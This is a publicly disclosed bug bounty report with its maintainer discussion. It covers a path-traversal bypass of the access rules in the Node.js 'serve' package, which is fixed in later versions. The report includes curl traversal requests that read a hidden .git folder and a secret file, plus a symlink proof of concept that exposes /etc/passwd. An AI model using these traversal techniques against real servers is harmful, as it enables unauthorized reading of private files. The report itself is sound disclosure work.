[serve] Access unlisted internal files/folders revealing sensitive information
State Resolved (Closed)
Disclosed publicly 2019-02-07T21:22:35.524Z
Reported To
Weakness Information Exposure Through Directory Listing
Bounty
Collapse


Timeline
submitted a report to Node.js third-party modules .
2019-01-27T15:55:48.066Z

I would like to report sensitive information disclosure in serve.
Bypass of #308721 in ways.

Module

module name: serve
version: 10.1.1
npm page: `https://www.npmjs.com/package/serve

Module Description

Assuming you would like to serve a static site, single page application or just a static file (no matter if on your device or on the local network), this package is just the right choice for you.

It behaves exactly like static deployments on Now, so it's perfect for developing your static project. Then, when it's time to push it into production, you deploy it.

Furthermore, it provides a neat interface for listing the directory's contents

Module Stats

weekly downloads
138,377

Vulnerability

Vulnerability Description

The serve modules allows directory browsing and to serve static files through the browser.
The config options unlisted and rewrites can be used to tell the module which file or directory are forbidden and should not be served.
refer: https://github.com/zeit/serve-handler/issues/48
This rule can be bypassed using the technique below which can lead to sensitive information disclosure (An interesting example: https://smitka.me/).

Steps To Reproduce:

  • Install serve

    $ npm install -g serve
    
  • Inside a project directory, initialise git and create 404.html.

    $ git init
    $ echo "404 Not Found" > 404.html
    $ echo "secret text" > secret
    
  • Add rule to ignore .git folder in serve.json

    {
    "rewrites": [
        { "source": ".git/**", "destination": "/404.html" },
        { "source": "secret", "destination": "/404.html" }
      ],
    "unlisted": [
      ".git"
    ]
    }
    
  • Start serve in current directory.

$ serve
INFO: Discovered configuration in `serve.json`
   ┌───────────────────────────────────────────────┐
   │                                               │
   │   Serving!                                    │
   │                                               │
   │   - Local:            http://localhost:5000   │
   │   - On Your Network:  http://127.0.1.1:5000   │
   │                                               │
   │   Copied local address to clipboard!          │
   │                                               │
   └───────────────────────────────────────────────┘
  • Now, current directory will be served by serve with the exception of folder .git and file secret.
  • If we try to curl .gitor secret we get a Not Found error

    $ curl http://localhost:5000/.git --path-as-is     
    404 Not Found
    $ curl http://localhost:5000/secret --path-as-is
    404 Not Found
    
  • Although if we request any other url and then navigate back to the forbidden files/folders using ../ scheme, we are able to extract it's contents successfully.

    $ curl http://localhost:5000/any/../.git/HEAD --path-as-is
    ref: refs/heads/master
    $ curl http://localhost:5000/any/../secret --path-as-is   
    secret text
    

Supporting Material/References:

  • Ubuntu 16.04
  • node v11.3.0
  • npm 6.7.0

Wrap up

  • I contacted the maintainer to let them know: N
  • I opened an issue in the related repository: N

Impact

The essentially bypasses the unlisted and rewrites files/folders feature and allows an attacker to read from a directory/file that the victim has not allowed access to.

References:

Regards,
Frans

  • 0 attachments:
vdeturckheim_dev Activities::Comment
2019-01-27T15:55:54.037Z
Hello, Thanks for reporting this to us. Someone will quickly look at this report and triage it.


marcinhoppe Activities::BugTriaged
2019-01-28T07:54:21.005Z
@skyn3t Thanks for reporting this issue. I was able to reproduce and confirm the issue as you described and will triage this report as vulnerability. I will invite the package maintainer to this issue.


marcinhoppe Activities::ReportSeverityUpdated
2019-01-28T07:55:00.710Z


skyn3t Activities::Comment
2019-01-28T13:51:19.101Z
Hey Marcin, Thanks for the quick response. Any reason why #308721(9.3) and #330650 (10) should be different in terms of severity? Also what should be the correct score for this report , being similar in nature to both?


skyn3t Activities::Comment
2019-02-02T08:21:39.700Z
Never mind the above comment


notquiteleo Activities::ExternalUserJoined
2019-02-04T22:04:44.658Z


notquiteleo Activities::Comment
2019-02-04T22:05:24.373Z
Thank you for reporting this issue. We are issuing a fix!


skyn3t Activities::Comment
2019-02-05T06:49:21.110Z
Hey @notquiteleo , Also wanted to bring this to your attention. Symlinks in `serve` can be used to download/traverse any file or path in server root. ###POC 1. Create a symlink inside your project directory ``` $ ln -s ../../../../../etc/passwd sympasswd ``` 2. Run serve in the project directory ``` $ serve ``` **Result:** You can access `/etc/passwd` through `serve` via symlink that was created. This can also be used to bypass `unlisted` and `rewrites` feature. ###Recommendations 1. Validating symlinks in serve. 2. Providing users a flag to turn following of symlinks On/Off if required.


andybitz Activities::ExternalUserJoined
2019-02-05T21:19:55.887Z


andybitz Activities::Comment
2019-02-05T21:26:15.427Z
We just released version `5.0.8` of `serve-handler` which includes a fix for the vulnerability. Thank you for reporting!


marcinhoppe Activities::Comment
2019-02-06T08:56:31.884Z
@andybitz Thanks! @skyn3t Will you have the capacity to re-test the fix? I will be more than happy to disclose when we have a confirmation that the fix works.


skyn3t Activities::Comment
2019-02-06T10:14:31.443Z
Hey @andybitz , Don't forget to upgrade `serve`


notquiteleo Activities::Comment
2019-02-06T10:24:52.140Z
We just published version `10.1.2` of `serve` with this change. https://github.com/zeit/serve/releases/tag/10.1.2


skyn3t Activities::Comment
2019-02-06T11:11:23.906Z
@marcinhoppe , I was able to verify that the fix works!


notquiteleo Activities::Comment
2019-02-06T14:28:45.664Z
@skyn3t How can we reward you for this report? Does HackerOne have a built-in mechanism for that?


lirantal Activities::Comment
2019-02-06T15:55:21.719Z
@notquiteleo that's kind of you! I'm checking with H1 if there's something internal we can do within this report.


skyn3t Activities::Comment
2019-02-06T17:27:34.093Z
Yeah that's great @notquiteleo Thanks @lirantal for looking into this!


lirantal Activities::Comment
2019-02-06T18:22:55.685Z
marcinhoppe had your back on this! ;-) great job you guys on this handling this report start-to-end


reed Activities::Comment
2019-02-06T19:35:02.448Z
Hi @notquiteleo. As this particular program (@nodejs-ecosystem) is run by the Node.js Security WG, any bounties would need to come via them. If you wish to reward a researcher directly as the maintainer of the node module in question, one option is to sign-up for the free [HackerOne Community Edition](https://www.hackerone.com/product/community) for [serve](https://github.com/zeit/serve) and then pay a bounty via that separate program. We can even clone (or move, if the ecosystem team wishes) this report to make it easier. Would that work for you?


marcinhoppe Activities::BugResolved
2019-02-07T21:22:20.075Z
@skyn3t @notquiteleo @andybitz @lirantal @reed Good job everyone! This was one of the smoothest reports I have ever seen. I will proceed with the disclosure.


marcinhoppe Activities::AgreedOnGoingPublic
2019-02-07T21:22:27.760Z


marcinhoppe Activities::ManuallyDisclosed
2019-02-07T21:22:35.433Z